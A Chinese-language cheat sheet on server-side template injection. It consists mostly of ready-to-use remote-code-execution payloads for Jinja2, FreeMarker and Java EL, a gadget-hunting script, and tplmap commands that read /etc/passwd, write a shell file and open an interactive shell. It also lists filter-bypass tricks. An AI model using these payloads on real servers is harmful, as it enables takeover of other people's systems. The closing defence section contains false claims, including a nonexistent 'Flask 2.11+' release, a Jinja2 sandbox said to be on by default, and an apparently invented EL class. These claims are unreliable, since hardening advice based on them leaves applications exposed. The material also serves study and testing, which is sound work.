一、什么是 SSTI
服务端模板注入(Server-Side Template Injection)是把用户输入直接拼接到模板源码里执行。和反序列化不同,SSTI 不依赖特定序列化机制——只要有模板引擎 + 字符串拼接就能触发。
危险 vs 安全写法
# Flask/Jinja2 危险写法
render_template_string("Hello " + request.args.get("name")) # ← 拼接!
# 用户输入 {{7*7}} 会被模板引擎当作代码执行 → 49
# 安全写法
render_template_string("Hello {{ name }}", name=request.args.get("name"))
# 用户输入 {{7*7}} 只是纯文本
二、Jinja2(Python Flask/Django)
2.1 基础 Payload
| Payload | 作用 |
|---|---|
{{7*7}} |
数学运算 → 49 |
{{7*'7'}} |
字符串重复 → 7777777 |
{{config}} |
泄露 Flask 配置 |
{{request}} |
请求对象泄露 |
2.2 RCE 路径 1:从类型链找 subclasses
{{''.__class__.__mro__[1].__subclasses__()}}
输出所有 Python 子类,找 <class 'subprocess.Popen'> 或 <class 'os._wrap_close'>。
{{''.__class__.__mro__[1].__subclasses__()[71]}}
假设索引 71 是 Popen(不同 Python 版本索引不同):
{{''.__class__.__mro__[1].__subclasses__()[71]('id',shell=True,stdout=-1).stdout.read()}}
2.3 自动遍历找 gadget
import re, requests
def find_subclasses(target):
url = f"{target}/?q={{{{''.__class__.__mro__[1].__subclasses__()}}}}"
r = requests.get(url)
subs = re.findall(r"class '([^']+)'", r.text)
for i, s in enumerate(subs):
print(f"{i}: {s}")
return subs
def find_popen(subs):
for i, s in enumerate(subs):
if 'subprocess' in s or 'os' in s or 'popen' in s.lower():
print(f"[+] {i}: {s}")
return i
2.4 RCE 路径 2:从 filter 找 builtins
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{joiner.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}
{{get_flashed_messages.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{lipsum.__globals__.os.popen('id').read()}}
{{url_for.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{''.__class__.__base__.__subclasses__()[182].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
2.5 Flask debug PIN(信息泄露 → RCE)
如果 debug 模式开启,可以通过泄露的信息计算 PIN:
# 需要知道:用户名、modname、flask 版本、mac 地址、uuid 节点 id
# 然后用 Flask 源码里的算法计算 8 位 PIN
三、FreeMarker(Java Spring)
3.1 基础探测
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
3.2 ObjConstructor 链
<#assign obj="freemarker.template.utility.ObjectConstructor"?new()>
${obj("java.lang.Runtime").getRuntime().exec("id")}
3.3 绕过黑名单
<#assign classloader=application.getRealPath('/').getClass().forName('java.lang.ClassLoader')>
<#assign ex=classloader.getSystemClassLoader().loadClass('freemarker.template.utility.Execute').newInstance()>
${ex("id")}
3.4 利用 Application 作用域
${application} → StandardContext(Tomcat)
${application.getParent().getParent().getClass().forName('java.lang.Runtime').getRuntime().exec('id')}
四、EL 表达式(Java JSP)
4.1 基础 Payload
${7*7} → 49
${applicationScope}
${sessionScope}
${requestScope}
${param}
${header}
${headerValues}
${cookie}
${initParam}
${pageContext}
4.2 RCE Payload
${request.getClass().forName("java.lang.Runtime").getRuntime().exec("id")}
${T(java.lang.Runtime).getRuntime().exec("id")}
${""["class"].forName("java.lang.Runtime").getRuntime().exec("id")}
${applicationScope} → 遍历找 Runtime
4.3 Tomcat 特定
${application} → StandardContext
${application.getServer().getPort()} → 拿端口
${application.getParent().getParent().getClass().forName('java.lang.Runtime').getRuntime().exec('id')}
五、tplmap 自动化工具
5.1 安装
git clone https://github.com/epinna/tplmap && cd tplmap
pip install -r requirements.txt
5.2 使用
# 检测模板引擎
python tplmap.py -u "http://target/?q={*}"
python tplmap.py -u "http://target/?q={{7*7}}"
python tplmap.py -u "http://target/?q=<%= 7*7 %>"
# 命令执行
python tplmap.py -u "http://target/?q={{7*7}}" --os-cmd id
# 文件读写
python tplmap.py -u "http://target/?q={{7*7}}" --read-file /etc/passwd
python tplmap.py -u "http://target/?q={{7*7}}" --write-file /tmp/shell.py
# 交互式 shell
python tplmap.py -u "http://target/?q={{7*7}}" --interactive-shell
5.3 注意事项
tplmap 在探测阶段会执行大量计算和系统命令,如果目标在生产环境上不要盲目跑。建议先在测试环境验证。
六、各引擎语法对照表
| 引擎 | 变量访问 | 函数调用 | 方法调用 | 注释 |
|---|---|---|---|---|
| Jinja2 | {{ var }} |
{{ func() }} |
{{ obj.method() }} |
{# comment #} |
| FreeMarker | ${var} |
${func()} |
${obj.method()} |
<#-- comment --> |
| EL | ${var} |
无直接函数 | ${obj.method()} |
无 |
| Velocity | $var |
#set $x=$func() |
$obj.method() |
# comment |
| Smarty | {$var} |
{func()} |
{$obj.method()} |
{* comment *} |
七、防御方案
Jinja2 / Flask
# 永远不要拼字符串(最重要!)
render_template_string("Hello " + name) # ❌
render_template_string("Hello {{name}}", name=name) # ✅
# 升级 Flask 到 2.11+
# Jinja2 sandbox 默认开启,cycler/joiner/url_for 在 sandbox 里安全
# 手动禁用全局 dangerous 方法
env = jinja2.Environment(...)
env.globals.pop('cycler', None)
env.globals.pop('joiner', None)
FreeMarker
cfg.setDefaultObjectWrapper(ObjectWrapper.BEANS_WRAPPER);
// 禁用 ?new()
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
EL
严格限制表达式中能访问的类:
WebXmlParserContext.setELResolver(new ScopedAttributeELResolver() {
// 只允许访问基本属性
});
八、总结
SSTI 和反序列化是两条独立的代码执行路径。反序列化攻击面在"数据还原"阶段,SSTI 攻击面在"模板渲染"阶段。识别方式都是看用户输入是否出现在模板引擎的执行上下文里。最可靠的防御是输入上下文隔离——永远用正确的参数传递方式,而不是字符串拼接。
九、SSTI 绕过技巧(Jinja2)
绕过引号限制
如果目标做了引号过滤:
# 不用引号取任意字符串
{{ lipsum.__globals__.__builtins__.__import__(request.args.a).popen(request.args.b).read() }}
# GET 请求: ?a=os&b=id
绕过下划线限制
# 用 attr() 绕过 __ 限制
{{ request['__class__'] }}
{{ request|attr(request.args.a) }}
绕过 [ 过滤
# 用 pop() 或 get() 替代 []
{{ config.items()|list }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
十、SSTI vs 反序列化的区别
| 对比 | SSTI | 反序列化 |
|---|---|---|
| 攻击面 | 模板渲染 | 数据还原 |
| 依赖 | 模板引擎 + 拼接 | 语言 + gadget 链 |
| 识别 | 用户输入在模板上下文 | 用户输入传给 unserialize/readObject |
| 防御 | 参数传递 | 白名单反序列化 |
| 语言无关 | 是(任何模板引擎) | 否(语言特定) |
SSTI 更像是"模板注入"而不是"反序列化漏洞",但它和反序列化的核心思想相同:把不可信输入变成了可执行代码。
十一、总结补充
SSTI 是和反序列化并列的独立代码执行路径。反序列化利用了"还原对象"这个正常操作来注入代码,SSTI 利用了"渲染模板"这个正常操作来注入代码。识别和防御模型都类似:永远不要把不可信输入拼接进可执行上下文。